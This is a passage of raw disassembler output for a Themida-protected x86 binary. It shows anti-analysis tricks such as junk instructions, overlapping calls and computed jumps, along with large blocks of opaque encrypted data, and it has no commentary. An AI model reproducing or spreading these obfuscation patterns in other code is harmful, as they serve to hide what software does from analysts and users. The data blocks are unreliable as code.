		xchg	eax, ebx


loc_5B92CE:				; CODE XREF: sub_5B923F:loc_5B92B5j
		push	4
		pusha
		cmc
		call	near ptr loc_5B92DF+1
		xchg	eax, edi
		int	3		; Trap to Debugger
		inc	eax
		inc	esi
		aaa
		test	[edx+16h], edx


loc_5B92DF:				; CODE XREF: sub_5B923F+93p
		mov	word ptr [edi],	cs
sub_5B923F	endp ; sp-analysis failed

		test	[eax], eax
; ---------------------------------------------------------------------------
		db 0
		dd 61590000h, 100068h, 9E900h, 7A880000h, 2D466CBh, 0FF16E0EEh
		dd 0F2B85B5h, 0D0FFFC06h, 85BD8BFCh, 0F060F2Bh,	0C80h
		dd 68E0F00h, 0F000000h,	80h, 3C7F0300h,	7820Fh,	830F0000h
		dd 1, 0C781F9F9h, 0F8h,	2447C7F5h, 60000020h, 2890F60h
		dd 52000000h, 61F08B59h
; ---------------------------------------------------------------------------


loc_5B9348:				; CODE XREF: Themida_:005B91C7j
		lea	ebx, [ebp+60F1D05h]
		cmc
		jl	loc_5B935D
		jp	loc_5B935D
		pusha
		popa


loc_5B935D:				; CODE XREF: Themida_:005B934Fj
					; Themida_:005B9355j
		mov	eax, [ebx]
		clc
		or	eax, eax
		jz	loc_5B9392
		cld
		mov	eax, [eax]
		jnz	loc_5B9379
		jno	loc_5B9379
		pusha
		popa


loc_5B9379:				; CODE XREF: Themida_:005B936Bj
					; Themida_:005B9371j
		jp	loc_5B9380
		clc


loc_5B9380:				; CODE XREF: Themida_:loc_5B9379j
		mov	[ebx+4], eax
		jnz	loc_5B9392
		pusha
		sbb	ax, 0CE5Dh
		push	ecx
		pop	edx
		popa


loc_5B9392:				; CODE XREF: Themida_:005B9362j
					; Themida_:005B9383j
		mov	ecx, 234CF6h
		lea	ecx, [ebp+615E5E9h]
		push	0
		push	ecx
		call	sub_5B93A8
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B93A8	proc near		; CODE XREF: Themida_:005B93A0p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5B93A8	endp

; ---------------------------------------------------------------------------
		dd 0FF6DA5EDh, 10E817h,	0D3200000h, 3BE387BBh, 0D1744846h
		dd 0A20C5CF7h, 13E94B38h, 0D000000h, 25F34F05h,	6C438CE1h
		dd 939A4496h, 0D35AECBDh, 895FCB15h, 0F2C658Dh,	6CBE6606h
		dd 0C185C78Fh, 0B4060F07h, 6A000064h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0DB17C350h
		dd 16EC387h, 6E818h, 63640000h,	7DEA3FD0h, 0F3D18060h
		dd 61F3BF0Fh, 9185C75Fh, 60F24h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 189EC351h
		dd 0F259960Bh, 0DE8B4644h, 18D5B5FFh, 6A060Fh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0A61F50C3h, 0A39B58Bh, 850F060Fh, 0Ch, 6890Fh, 9D230000h
		dd 60F3445h, 2A0595FFh,	8589060Fh, 60F219Dh, 95FF006Ah
		dd 60F3451h, 0EEBC08Bh,	0BF2F5534h, 32A40981h, 674E856Bh
		dd 0DE85F48h, 87000000h, 0A3A92866h, 0D824101Ch, 0AF8279EBh
		dd 59FFD880h, 7E9h, 921E0500h, 72F267A8h, 68D0C181h, 81660000h
		dd 680715C3h, 0
; ---------------------------------------------------------------------------
		pusha
		sub	[ebp+60F3151h],	edi
		mov	ah, 0D3h
		popa
		pop	esi
		jmp	loc_5B9518
; ---------------------------------------------------------------------------
		dd 4FE862B4h, 255B1C1Ch, 0B55F899h, 0AD11679Dh
; ---------------------------------------------------------------------------


loc_5B9518:				; CODE XREF: Themida_:005B9503j
					; Themida_:loc_5B958Fj
		mov	edi, [ecx+esi]
		mov	dx, 0E878h
		add	edi, 71E265B6h
		add	[ebp+60F2EC9h],	edx
		sub	edi, 664EF962h
		jmp	loc_5B953E
; ---------------------------------------------------------------------------
		dec	ecx
		call	ebx
		push	1103C687h


loc_5B953E:				; CODE XREF: Themida_:005B9531j
		add	edi, 64527D62h
		sub	[ebp+60F0005h],	edi
		push	edi
		mov	[ebp+60F2179h],	esi
		pop	dword ptr [ecx+esi]
		sub	ah, 18h
		sbb	ax, 2C5h
		sub	esi, 0F0A15CAh
		adc	ebx, 5FCFEC30h
		add	esi, 0F0A15C6h
		movzx	ebx, ax
		cmp	esi, 0FFFF9800h
		jnz	loc_5B958F
		mov	eax, [ebp+60F15E5h]
		jmp	loc_5B959F
; ---------------------------------------------------------------------------
		dd 0E9C2EA82h
; ---------------------------------------------------------------------------
		push	ds
		db	2Eh
		push	ds


loc_5B958F:				; CODE XREF: Themida_:005B9577j
		jmp	loc_5B9518
; ---------------------------------------------------------------------------
		dd 79589B22h, 0C2698E1h
		db 0ECh, 1Bh, 4Ch
; ---------------------------------------------------------------------------


loc_5B959F:				; CODE XREF: Themida_:005B9583j
		call	near ptr loc_5B95AD+1
		mov	[ebp-6A6FF566h], ah
		sbb	esi, [edi+29h]


loc_5B95AD:				; CODE XREF: Themida_:loc_5B959Fp
		mov	bh, 0Fh
		mov	al, [esi]
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		mov	[ebp+60F2A61h],	esi
		pop	ebx
		mov	esi, [ebp+60F28D9h]
		add	ebx, 6927h
		jle	loc_5B95D3
		mov	eax, [ebp+60F132Dh]


loc_5B95D3:				; CODE XREF: Themida_:005B95C7j
		mov	ecx, 1A13h
		mov	[ebp+60F1CB9h],	edi


loc_5B95DE:				; CODE XREF: Themida_:005B966Cj
		push	dword ptr [ebx]
		jmp	loc_5B95F7
; ---------------------------------------------------------------------------
		db 0B7h, 33h, 0E6h
		dd 0B44DCC72h, 3DF3C73Ch, 9E822E7Ah
		db 0C7h, 75h, 4Ch
; ---------------------------------------------------------------------------


loc_5B95F7:				; CODE XREF: Themida_:005B95E0j
		pop	edx
		jmp	loc_5B9602
; ---------------------------------------------------------------------------
		mov	al, ds:0A2D97430h


loc_5B9602:				; CODE XREF: Themida_:005B95F8j
		xor	edx, 79673DCEh
		mov	al, 11h
		add	edx, 315DA39h
		mov	di, 0D19h
		add	edx, 1B06F2B6h
		jmp	loc_5B9626
; ---------------------------------------------------------------------------
		db 86h
		dd 0BE3E3448h
		db 57h,	21h
; ---------------------------------------------------------------------------


loc_5B9626:				; CODE XREF: Themida_:005B961Aj
		push	edx
		mov	al, 0D6h
		pop	dword ptr [ebx]
		mov	[ebp+60F0AC9h],	ebx
		sub	ebx, 1
		jmp	loc_5B9647
; ---------------------------------------------------------------------------
		db 0ECh, 0A6h, 0DEh
		dd 68DB6A3Ah, 4A64323Fh
		db 52h,	55h, 3Dh
; ---------------------------------------------------------------------------


loc_5B9647:				; CODE XREF: Themida_:005B9634j
		dec	ebx
		dec	ebx
		dec	ebx
		mov	esi, [ebp+60F0B71h]
		sub	ecx, 1
		jnz	loc_5B9664
		jmp	loc_5B9683
; ---------------------------------------------------------------------------
		mov	eax, ds:0CB0AF7DFh
		setalc


loc_5B9664:				; CODE XREF: Themida_:005B9653j
		push	esi
		xor	edi, [ebp+60F265Dh]
		pop	edi
		jmp	loc_5B95DE
; ---------------------------------------------------------------------------
		db 0BEh, 74h, 0BFh
		dd 153A0B7Ch, 1097B82Ch, 0AC3F8269h
		db 0F5h, 0F4h, 1Fh
; ---------------------------------------------------------------------------


loc_5B9683:				; CODE XREF: Themida_:005B9659j
		jmp	loc_5B96B9
; ---------------------------------------------------------------------------
		dd 72E8E12Dh, 0Bh dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5B96B9:				; CODE XREF: Themida_:loc_5B9683j
		jmp	loc_5B9BB8
; ---------------------------------------------------------------------------
		push	615E935h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	615E9B5h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	615EB2Fh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		dd 14290C65h, 0A4B9A4F1h, 374CD781h, 0C8DD4014h, 556ACDA5h
		dd 7E12A234h, 0CCA3C6DBh, 66315469h, 0ADC3E6FBh, 0F9A6758Ah
		dd 0EE65AF48h, 54918866h, 6EB7621h, 65B3BE5Ah, 8FC4C340h
		dd 0B435286Ch, 1C3F53ABh, 9C4D8A37h, 6D044E5Bh,	7A3E2175h
		dd 4DDB1CCDh, 9F546D04h, 0B0C6E96Ah, 0E5B48095h, 6B0FC0EDh
		dd 616B0B52h, 7BFC672Eh, 98D502B7h, 0F53110E7h,	98B3C866h
		dd 5BFC1FD4h, 0AD2EE3C8h, 0ADE81BC8h, 30EE09BAh, 944966F5h
		dd 99C57A5Fh, 4CA775FEh, 0AA4BCC13h, 66F4A651h,	0A9EB1ECBh
		dd 0AD928DC8h, 7D42C3F8h, 4E0117EEh, 1C594600h,	0F4A98C6Bh
		dd 6DEEA366h, 2EF51h, 5BD81400h, 0EC3A0273h, 87464FD0h
		dd 0BB17822Eh, 6A11DD8Eh, 974C6B0Bh, 0D681B4E1h, 4929CA4Bh
		dd 748A5204h, 8A95BF25h, 8EBBF0A5h, 0A10FF9DDh,	888346Fh
		dd 1ADD8E72h, 156F9ED3h, 48083460h, 3884699Eh, 93447161h
		dd 6DA61120h, 4275A257h, 0C7F4092Ch, 0DD5EC194h, 7681A4BAh
		dd 75716E6Fh, 0FF91EED3h, 88000002h, 1E4156F1h,	0B4D7EC77h
		dd 476A7FE2h, 0DCFF140Fh, 6B8CA184h, 183347D9h,	0B08BE003h
		dd 44DF789Bh, 0D3760C2Fh, 9142EFBEh, 66EE6566h,	0AAC1DAD1h
		dd 5B6E3EFh, 6B11A8B8h,	0E01D4AFFh, 0F81A55A4h,	3CBD425Fh
		dd 3DEE4119h, 66EE55BAh, 5E8BC075h, 0A088322h, 0E6FB2B74h
		dd 76022EA5h, 65689429h, 68E0B04Bh, 0F5182DAEh,	0B4D5BA9Dh
		dd 8CE5EF3Ch, 0D0DB7E14h, 77F10AE3h, 7FE13E23h,	8000002h
		dd 9EC1D671h, 34576CF7h, 0C7EAFF62h, 5C7F948Fh,	0EB0C2104h
		dd 98B3C759h, 300B6083h, 0C45FF81Bh, 53F68CAFh,	11C26F3Eh
		dd 66EE64E6h, 0AA415A51h, 7AB6E3EFh, 77FFCD10h,	0E71495B6h
		dd 119C8736h, 42184B6Bh, 365F02E7h, 0B175F62Bh,	0F5DA450Eh
		dd 0E77A1D40h, 0ED20CDB2h, 22CEB396h, 425EADAFh, 1A9BD0F6h
		dd 0EEFA8279h, 0B1ED9A66h, 0E2CBFB42h, 163F6232h, 0A6C58A0Bh
		dd 0FA69B95Fh, 186B245h, 53990000h, 0BAED1A3Dh,	0EEA3889Bh
		dd 8FE5886Dh, 0AC437FACh, 8D216552h, 0C18DA223h, 1CCDFAD8h
		dd 6B0B326Eh, 2E4F34E9h, 66F512CDh, 0F1D6490Bh,	3A1F3A4Eh
		dd 131BDC8Dh, 5F1466F5h, 0A6375499h, 0DCE582C7h, 0D383ECA9h
		dd 81B66B50h, 7966E79Ch, 4600B69Fh, 67F088BBh, 994E332Eh
		dd 49CA7F64h, 292Dh, 0EFAA1400h, 9905B6E3h, 0D46B0B67h
		dd 518D3A1Fh, 84204315h, 0E081022Dh, 66F4C91Bh,	56AFBC01h
		dd 460070C2h, 0B6ABh, 3D539200h, 0FE92351Ah, 0BDD3765Bh
		dd 4774D7ACh, 44E6196h,	0EC21D66Dh, 2B0E6407h, 495C7516h
		dd 1E746D04h, 4A659243h, 176B6D04h, 0D69A4F34h,	8CBFEC21h
		dd 83225AF4h, 541FD031h, 0BD899E1Fh, 18C9F6DCh,	6B154BFEh
		dd 1A578439h, 13CB2CDDh, 0AF6466F3h, 6E53F68Ch,	7D1538B9h
		dd 0CEA2C5DAh, 0D69606Bh, 0C4A9880Ah, 10567h, 4CEF8200h
		dd 0DE411437h, 71ECA6C9h, 21D395Ch, 93B6CAEDh, 39CB5D7Eh
		dd 0CEF10621h, 66899EB9h, 0FA1D322Dh, 0DDACC164h, 63787F30h
		dd 0C8BF66EEh, 1C3F53AFh, 0D0A7DA07h, 5ADB9075h, 0D9062137h
		dd 0CE89D2A6h, 84391E53h, 53E5EE03h, 92351A3Dh,	784459FCh
		dd 0D384B121h, 6B0B01C5h, 97CAF7ACh, 0B25368C3h, 66F50249h
		dd 315EF98Fh, 0AACD68FEh, 0E0F576E9h, 9D82A5BDh, 0B7A8B4F0h
		dd 0ED846F87h, 808F6Ch,	96D20000h, 0C36E25E7h, 0B7C0416Dh
		dd 0B6E3EFAAh, 11A8AC05h, 4037E36Bh, 950AE94Bh,	6CA8D50Ah
		dd 0C3247219h, 0DBC0417Dh, 0F2072238h, 0B99EB9CFh, 0E3EF9D98h
		dd 0A6E3A013h, 1BEF02F5h, 0F7782DFAh, 0C0965532h, 572D5065h
		dd 286C0FF4h, 0D5AD5035h, 1A4FD284h, 59FC9235h,	9AE92E74h
		dd 9EEDC23Bh, 0B203B51h, 0D2B792E8h, 1575h, 487BB800h
		dd 772C110Ch, 1BEF21D6h, 3E6116FAh, 80890A15h, 3E53CED7h
		dd 0FD93361Bh, 81D2755Ah, 4116B99Eh, 0A5E01E6h,	0D3A74A2Fh
		dd 0A4F09378h, 6731D4B9h, 217417FCh
		db 3Eh,	59h, 0F7h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 615E812h
		mov	ecx, ebp
		pop	ebp
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4F802547h
		xor	edx, 129E07FEh
		neg	edx
		sub	edx, 0A2E1DD3Fh
		add	edx, eax
		mov	[edx], ecx
		pop	edx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		db 47h,	6, 75h
		dd 11B0F45h, 0E63FA03h,	0B200D03Eh
; ---------------------------------------------------------------------------


loc_5B9BB8:				; CODE XREF: Themida_:loc_5B96B9j
		mov	eax, 615EC59h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 2 dup(2Fh), 0A5h
		dd 9BC1A728h, 66F53B79h, 2B000A2Ah, 6040576Bh, 1D934D1Dh
		dd 0DF9D9D0Ah, 0EDF90966h, 28E92Eh, 0C42F0000h,	0BCBh
		dd 8 dup(0)
		dd 0F1E90000h, 6800000Ah, 615EEB5h, 0FA58F8E9h,	0EF9968FFh
		dd 0EEE90615h, 68FFFA58h, 615F1CBh, 0FA58E4E9h,	0F2A768FFh
		dd 0DAE90615h, 68FFFA58h, 615F44Ah, 0FA58D0E9h,	0F5FA68FFh
		dd 0C6E90615h, 68FFFA58h, 615F6E7h, 0FA58BCE9h,	0CFB235FFh
		dd 0E7C64626h, 4D95E3Eh, 1AF97B5Bh, 360D9171h, 39B5968Dh
		dd 5535DEB5h, 6B4BF4D7h, 84640DECh, 0E97D2603h,	0E7938D45h
		dd 963B1DD8h, 4825A6F7h, 0E5C44515h, 0A6C18B3Ch, 1245CA82h
		dd 0A6051DC2h, 13A5BB73h, 0C6E1DC2h, 0A1CA5FD5h, 426F3029h
		dd 50000000h, 732B77D5h, 1BCD0A79h, 3F63C221h, 0C22C3C87h
		dd 4C7FDE1Dh, 7E53D8A8h, 0D40C6C4Bh, 1DC22DDEh,	0E114F574h
		dd 81B48F11h, 0FB41785Ah, 6FB965C6h, 0CB08670Ah, 27BC3269h
		dd 0CE302A76h, 0DFh, 4825A6AFh,	1DA17115h, 1296E646h, 7EFDCB4Ah
		dd 2A89689Bh, 47C898CBh, 0E667376Ah, 9113E307h,	40A07FB2h
		dd 0E17CF97h, 99691BCDh, 8CDC3C17h, 0D1852E0Bh,	6EA18001h
		dd 5EDF2F8Fh, 0A1AB4C7Fh, 0D1EAA2C6h, 0DB1DC20Fh, 78AB8A0Bh
		dd 184B26A8h, 347ADA39h, 0D17B2CD5h, 1CBA7296h,	1C1BD3A3h
		dd 0BC2E40F8h, 8FEE17EDh, 83E2C13Fh, 300F8F5Fh,	42FA1EFDh
		dd 17EDBC28h, 0D3191F0h, 31DAB93Dh, 0D1F6CD51h,	0B7038BD2h
		dd 0F321FE41h, 5B000008h, 7050F9D8h, 886811F0h,	0A5852E03h
		dd 0B7974023h, 0BCB35C33h, 0F8D75B8Fh, 12F16F4Fh, 270A8969h
		dd 401D9E7Eh, 0A75F0397h, 1DD8E4B5h, 0D211B055h, 693B54DCh
		dd 73D3321Bh, 17C09F23h, 0B3D7B637h, 4C7F5EE3h,	0F5E9F76Dh
		dd 0BD5C35CAh, 0D505B45Dh, 79732B77h, 211BCD0Ah, 14F172C2h
		dd 7FA302E1h, 0A44EB389h, 36C8B9B7h, 0FB48BE71h, 6F93F313h
		dd 0C20D0CB7h, 7CAF0E1Dh, 88AE2D8h, 3FA39743h, 6BB1A7DFh
		dd 0F85A1DC2h, 79FDCDC1h, 0C91EB683h, 6CCBD9C3h, 0F9D1660Ch
		dd 0A6783029h, 59000000h, 154825A6h, 0AFE2C145h, 0CD0E2FF7h
		dd 5E4651Bh, 1EFB7C5Ch,	65024AEBh, 0FB68941h, 0F9581DC2h
		dd 0BAAD9F50h, 0A36FDE96h, 0DF2F1BD3h, 0FC207F5Eh, 20C9A82Ch
		dd 0C0E5BC40h, 0B7038FD5h, 0F1AF73Ah, 3F000008h, 5C3CE5BCh
		dd 7454FDDCh, 896912EFh, 0A3832C07h, 0A097401Fh, 0E4BB3FABh
		dd 0FEDD5B3Bh, 13F67555h, 2C098A6Ah, 934BEF83h,	1DD8E599h
		dd 0D2FD9C41h, 0A64762Eh, 0C5241BCDh, 9B911565h, 0A5492676h
		dd 29D2310Ah, 0C5E9C849h, 23A171F5h, 0CF2E0D40h, 0B45DBD9Ch
		dd 0BAB03000h, 0F3B881C7h, 1C7CDBE6h, 8102D2FDh, 0C462DB8Dh
		dd 9BFAF7EAh, 39189868h, 68C82706h, 87BA9718h, 335736B7h
		dd 0CD00DF63h, 31E58EEEh, 0CE01E061h, 0DE6E8FEFh, 14956589h
		dd 0AD230235h, 3042AC1Dh, 5C80E059h, 0C274BFA4h, 0ED207F1Dh
		dd 1DF47949h, 0DEC6DBDh, 26038464h, 0A9043BF3h,	51339A84h
		dd 0D779FA1Ah, 74A78607h, 0A9435D95h, 7C019698h, 4D9372A5h
		dd 3C9B7EFDh, 69E9B9DDh, 0A3D1499h, 0BA99CC2Bh,	2DFDB15Ah
		dd 1C6CCCAFh, 0D38BBE9Bh, 9698A9DCh, 0E4043B1Dh, 1709C163h
		dd 0B79698A9h, 7050F958h, 0CCD3FBEFh, 11B1C5ACh, 0E5DB7FB2h
		dd 0F7E372ECh, 87BF1FBAh, 69678D6Ch, 92C5A424h,	2C5F3EC2h
		dd 0BDEC2305h, 7191C89Ah, 886811F0h, 53F72A07h,	0C020FF83h
		dd 96BAAD9Fh, 977BDDDEh, 1A3E9D90h, 0B6E9C84Ah,	1DCE77D7h
		dd 5C14382Fh, 8EA6AAEBh, 2E163B3h, 0A3B870A3h, 6C82BEA9h
		dd 0FDFD30Ah, 6140C58Dh, 732BCF02h, 82BEA979h, 363C221h
		dd 8E2BC85Dh, 66E8B8C3h, 0A11C0EC6h, 5DBC82BEh,	522FAEFEh
		dd 3AA83F2h, 54640000h,	11C96D10h, 1BCD0A1Fh, 0FEE6FBFh
		dd 1D2F50B0h, 0DE82264Ah, 0CD0A3426h, 3D75D41Bh, 1BCD0A23h
		dd 82C8CEBh, 0C22EA750h, 7498F71Dh, 2F0618D0h, 67C61DC2h
		dd 693FF707h, 4E9CCCFDh, 0A14569FEh, 0D0FDF7E9h, 0D838979Ch
		dd 0C14010B4h, 0FD49631Bh, 0B2119CD0h, 0F1412053h, 0F9319170h
		dd 9ADFD142h, 1DC1E544h, 0E02E4B65h, 0A78A0996h, 6FA20261h
		dd 0C5E97ECEh, 0F2D15121h, 596AE0BFh, 87788259h, 3DD00868h
		dd 6190F2BBh, 8A0EDE02h, 5443DB3h, 476C4F3Bh, 72F3C3E7h
		dd 890AEA93h, 0B48487ACh, 0C80B2863h, 5DDEBh, 13EE7100h
		dd 2B0A8A6Ah, 401DA282h, 5E35B797h, 7251D5B5h, 7579D2C9h
		dd 896912F1h, 9F7F280Bh, 0B8984120h, 1DB15A37h,	0FBAFC179h
		dd 0CA6F1DD8h, 0F077D52Bh, 9A77FCCCh, 795E163Ah, 391DC201h
		dd 0E1C04515h, 8597CFAEh, 451DC201h, 845487E6h,	0DCF32603h
		dd 7AD2C3FAh, 2A11C9EDh, 0EC1BCD0Ah, 0F012E76h,	0C543B02Ah
		dd 7F2887E6h, 0C3F1E9Fh, 0BADEBB3Ch, 0E7C64616h, 0D38BBDAFh
		dd 9EFE5D17h, 2B62446Bh, 57B84137h, 32A0280Fh, 240182D2h
		dd 55B0457Bh, 65553639h, 36000002h, 0CCF077D5h,	0D2CC8428h
		dd 7A1BCD0Ah, 4D83BB1Bh, 4D1DD8E7h, 76FACAEEh, 6A3AEE97h
		dd 30D407E6h, 0D8E76678h, 68C7261Dh, 5D34B808h,	1883722Ah
		dd 9011E227h, 0D0FD8CB1h, 0D71ABD36h, 501FAh, 0E7CA4D00h
		dd 0FFDE5E3Eh, 1CF17656h, 32119373h, 4E25A989h,	519DAEA5h
		dd 6D4DF6CDh, 83630CEFh, 9C7C2504h, 1953E1Bh, 0F88BA55Dh
		dd 0AE531DD8h, 0F077D50Fh, 0CC8428CCh, 1BCD0AD2h, 83BB1B7Ah
		dd 1DD8E74Dh, 0FACAEE4Dh, 4928A775h, 0B3578AEAh, 0E745570Fh
		dd 76FB1DD8h, 92F25197h, 3BE4C142h, 0C8FBDA5Bh,	679A77F8h
		dd 30E88C40h, 1DD8E73Eh, 0CD1F7FDEh, 27F57696h,	0BC9BCEA5h
		dd 0E97EB45Dh, 90303070h, 19Ch,	762ED271h, 1BCD0A64h, 6F52D424h
		dd 88FE5D3Ch, 6396C7A1h, 0BB0B6B6Ah, 0EEB6A3Ah,	2BAC7CAFh
		dd 58F4A54Eh, 0AC33EB0Fh, 6E1DC2B8h, 6838DC0Fh,	0F8D70AE7h
		dd 0C84A6098h, 0B1131DC2h, 4A6F047Ah, 9161302Ah, 61D03013h
		dd 47h,	762ED242h, 1BCD0A64h, 56480024h, 0F61BCD0Ah, 0B7D83897h
		dd 0F6AED295h, 1DC22C4Dh, 0D759294Dh, 2DAAC4FCh, 13721DC2h
		dd 0D3C981B4h, 7C1DC22Dh, 4BEFE31Ah, 0C22D9993h, 82E2411Dh
		dd 29AB47DCh, 0CBEE30h,	0A6CF0000h, 0D1CB8325h,	791BCD0Ah
		dd 0B888BB1Ah, 9E86C34h, 6598F7D6h, 2351495h, 64E3B132h
		dd 14735285h, 0E43A36Bh, 90111BCDh, 9E9048ECh, 3E1BCD0Fh
		dd 0FB5A7DFh, 0F6551BCDh, 6A3AEE97h, 8BAC0CE9h,	0B282A6C1h
		dd 781C4F2Eh, 0CD0FAEC0h, 0B00F6E1Bh, 0B5CFC43Ah, 4FAFEC67h
		dd 8A58732Bh, 0E3421DDCh, 0A36BEFBFh, 34134625h, 550DB1D5h
		dd 1DDCD05Bh, 5332B303h, 82E24120h, 9E75F9D9h, 32E7E279h
		dd 0F1CE11BDh, 35Eh, 0EB946DF0h, 3AC8B0Bh, 16BF9E23h, 34DDB436h
		dd 48F1D054h, 6AEEFA51h, 8C0AEA93h, 0A52404ADh,	0BA3B1BC4h
		dd 0FA9E32DBh, 0D8FE2842h, 0AC4BF01Dh, 0A24B22A6h, 0C09D1EEEh
		dd 0C18F1060h, 59026140h, 4825A6AAh, 0F3D65424h, 0F906093h
		dd 74D88932h, 1417CFF3h, 0D61DC203h, 948C4477h,	0D71DC203h
		dd 7FCDBEF5h, 30CC4E8h,	0ED1BCD0Ah, 0FC65FBF7h,	0FA5AEF3Ah
		dd 0C6D890B4h, 8617D386h, 701FC827h, 154825A6h,	0B5CEC445h
		dd 0EECB4C75h, 0B2F59A78h, 0F6AA53h, 0E1FF810Eh, 6889E907h
		dd 0A75F83E4h, 1DC2EF20h, 985083E2h, 1DDD1C82h,	0BEB2E94Bh
		dd 2A7985C8h, 0DD5D1E06h, 993F9FFEh, 302ADB04h,	54A9h
		dd 77D58A00h, 0A79732Bh, 78F11BCDh, 0B51A6FDFh,	0EF3F9EE4h
		dd 7F5E9170h, 8344FC20h, 9B1DC243h, 5B51093Ch, 0F11DC29Fh
		dd 98AA7D6Fh, 0B7D6AF95h, 0D5552558h
		dd 5E677931h, 0C8271DC2h, 41133669h, 3C9EDB0Ah,	0BC411105h
		dd 4ADF85E5h, 0EF3029D8h, 0E1h,	4825A6D0h, 0E2C14515h
		dd 7F5EDFAFh, 1EFB7C4Ch, 48CBC175h, 0C98273BCh,	38EC2484h
		dd 861BCDE9h, 0E6302AE2h, 79D81BCDh, 6948C919h,	12F17545h
		dd 0A82909B2h, 22F296C9h, 0A84BC1A0h, 0DCA55318h, 60EC0D6Dh
		dd 873FE307h, 1BCDB295h, 5276D635h, 0C29BC59Ah,	57D7A71Dh
		dd 73D21878h, 0B5F5594Fh, 0AB143BCAh, 5BF1A24Bh, 8ABD9C1Bh
		dd 70284CABh, 1BD35365h, 28078B5Bh, 70B616F5h, 991DED11h
		dd 320819A3h, 1E7DD575h, 32119575h, 2A5600Dh, 8F6CAFB7h
		dd 1AEh, 9B441DA0h, 0B35C3BBBh,	0C66F4ED3h, 0E48D64E6h
		dd 0F8A18004h, 1A9E4A01h, 3CBA9A43h, 55D4B45Dh,	6AEBCB74h
		dd 0AA4EE28Bh, 0D8FFF8F2h, 5CFBA01Dh, 0A24B22A6h, 4755F8EEh
		dd 87C34F5Ah, 7756D727h, 0C64A1ACEh, 75D5B4E7h,	0FF77D556h
		dd 2347A67Dh, 0C22CD86Bh, 3F63C21Dh, 0E114EB6Fh, 0B76FA202h
		dd 1DC22DA1h, 5BD1086Ah, 3029ABC6h, 4606C0B6h, 3A815077h
		dd 0B86BDAh, 0A64C0000h, 45154825h, 7A70F1C1h, 76E90610h
		dd 0EE218050h, 603FBF0Fh, 0BCEF4E2Dh, 0CDB02004h, 14F1721Bh
		dd 2B0A8B6Bh, 0D8B73707h, 0A8A44578h, 8CE39BBFh, 0CE1DC2E0h
		dd 3715C66Fh, 84E3BA3Fh, 4B72A860h, 0B3121BD3h,	991BEB8Fh
		dd 7E66ABAh, 0E5D357A7h, 54337D9Ch, 963F9EB0h, 0C84432B6h
		dd 680BC5B2h, 0EF4E2BAAh, 0B8386B90h, 0D417B702h, 0C1F7h
		dd 270A8D00h, 3F1E9E7Eh, 5C31B696h, 7251D3B3h, 8E65E9C9h
		dd 915DEEE5h, 0AD8D360Dh, 0C3A34C2Fh, 0DCBC6544h, 41D57E5Bh
		dd 0FCCBE59Dh, 0EE931DD8h, 4B22A64Fh, 27543127h, 8DD5857Bh
		dd 7CDCBF3Dh, 9372F3D3h, 25A63BEAh, 832E2448h, 0D8D1F47Eh
		dd 6241C515h, 0BDF0502Fh, 0E48D6CEDh, 2DF6030h,	9CCB81A2h
		dd 3DED478h, 5C4E06C4h,	0FC1BCD67h, 7E00279Dh, 0A0B2EA4Ah
		dd 781DD87Ch, 7242E619h, 0C2A11FEDh, 1E51B08Fh,	0E8FDF3Fh
		dd 25A6862Fh, 0CF5D1548h, 0BC1005BEh, 283A3DAh,	199A7A23h
		dd 0B739093Ch, 0B092A9DCh, 0F9D85979h, 12EF7050h, 0C02DFh
		dd 9DD30000h, 13D77369h, 921A9A08h, 23A61332h, 0CA4B1B4Eh
		dd 69E8B8EBh, 7855588h,	9D21F124h, 3FC393C6h, 0DB5D2D60h
		dd 70F5C5F8h, 0E8E5E91h, 8135FC2Fh, 4ECh, 48F5400h, 24048324h
		dd 0E7895704h, 4C781h, 0EF830000h, 243C8704h, 243C895Ch
		dd 59C668h, 241C8900h, 594A68h,	24348900h, 0FB32B0BEh
		dd 0DEF74608h, 0DFC0EE81h, 0F789F0EEh, 4EC835Eh, 83242489h
		dd 5B042404h, 8438F57h,	5B2434FFh, 4C481h, 34FF0000h, 0C4815F24h
		dd 4, 0FA4E14E9h, 0DD4875FFh, 15F7CDB8h, 0FFC50306h, 0E4D564E0h
		dd 0DB2DC870h, 65D44550h, 6C4CA43Dh, 13CB6E77h,	0B75F9C19h
		dd 0B3B13C7Fh, 0E6026F51h, 8AF3D528h, 0C561F976h, 0C4F17559h
		dd 39364E5Ah, 0FFF49711h, 4BC85665h, 0DCDDA672h, 567B1012h
		dd 50A7CE2Bh, 0A5D83B5Ah, 0A6C9C317h, 0CBA00265h, 0BAC5330h
		dd 371E4C2Dh, 540F9255h, 2CB11E7Ah, 73D20108h, 31E962h
		dd 4A800000h, 0C99h, 0Ah dup(0)
		dd 0E9000000h, 5B1h, 0E4F95C35h, 748994C1h, 71C0751h, 98ADB0E4h
		dd 253A1D75h, 8EE27204h, 1C7396ABh, 56012439h, 0FD93B6CBh
		dd 0C976455Ah, 0EE55DF18h, 48615866h, 71223D53h, 6D044D86h
